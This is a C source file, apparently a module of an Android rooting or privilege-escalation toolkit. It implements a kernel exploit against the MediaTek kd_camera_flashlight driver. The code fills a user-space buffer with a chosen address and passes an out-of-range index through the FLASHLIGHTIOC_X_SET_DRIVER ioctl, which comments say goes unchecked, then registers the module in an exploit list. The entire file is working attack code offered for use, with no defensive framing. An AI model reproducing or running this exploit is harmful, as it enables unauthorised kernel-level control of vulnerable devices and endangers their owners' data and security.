
#include "log.h"
#include "exploit.h"
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <string.h>

#define MTK_M4U_MAGICNO 'g'
#define MTK_M4U_T_REG_SET             _IOW(MTK_M4U_MAGICNO, 24, int)


// possible new exploit:
// FLASHLIGHTIOC_X_SET_DRIVER does not check index range
// need address of kdFlashlightList
#define FLASHLIGHT_MAGIC 'S'
#define FLASHLIGHTIOC_X_SET_DRIVER _IOWR(FLASHLIGHT_MAGIC,30,unsigned long)

// XXX: why mmap ANONYMOUS | FIXED | SHARED not working???
// kernel is about server MB
static long fl_fake_init[16 * 1024 * 1024 / sizeof(long)];

static int mtk_camera_fl_init(void **opaque) {
    int fd;

    *opaque = (void *) -1;
    fd = open("/dev/kd_camera_flashlight", O_RDWR);
    if (fd < 0)
        return -1;
    *opaque = (void *) fd;
    return 0;
}

static int mtk_camera_fl_invoke(void *opaque, long addr) {
    int rc, fd, i, idx;

    fd = (int) opaque;
    for (i = 0; i < sizeof(fl_fake_init) / sizeof(fl_fake_init[0]); i++)
        fl_fake_init[i] = addr;
    // assume kernel is at 0xc0000000
    idx = (0x40000000 + (unsigned int) &fl_fake_init[0]) >> 3;
    rc = ioctl(fd, FLASHLIGHTIOC_X_SET_DRIVER, idx);
    return rc;
}

static void mtk_camera_fl_free(void **opaque) {
    if ((int)(*opaque) >= 0)
        close((int)(*opaque));
    *opaque = (void *) -1;
}

exploit_t EXPLOIT_mtk_camera_fl = {
    .name = "MTK kd_camera_flashlight",
    .init = mtk_camera_fl_init,
    .invoke = mtk_camera_fl_invoke,
    .free = mtk_camera_fl_free,
};


void exploit_init(exploit_t **list) {
    int i = 0;
    int size = 0;
    exploit_t *exp = 0, *tmp;

    ADDEXP(mtk_camera_fl);

//    switch (g_type) {
//
//    case S_MTK_4:
//    	ADDEXP(mtk_camera_fl);
//    	break;
//
//    default:
//    	break;
//    }

    *list = exp;
}
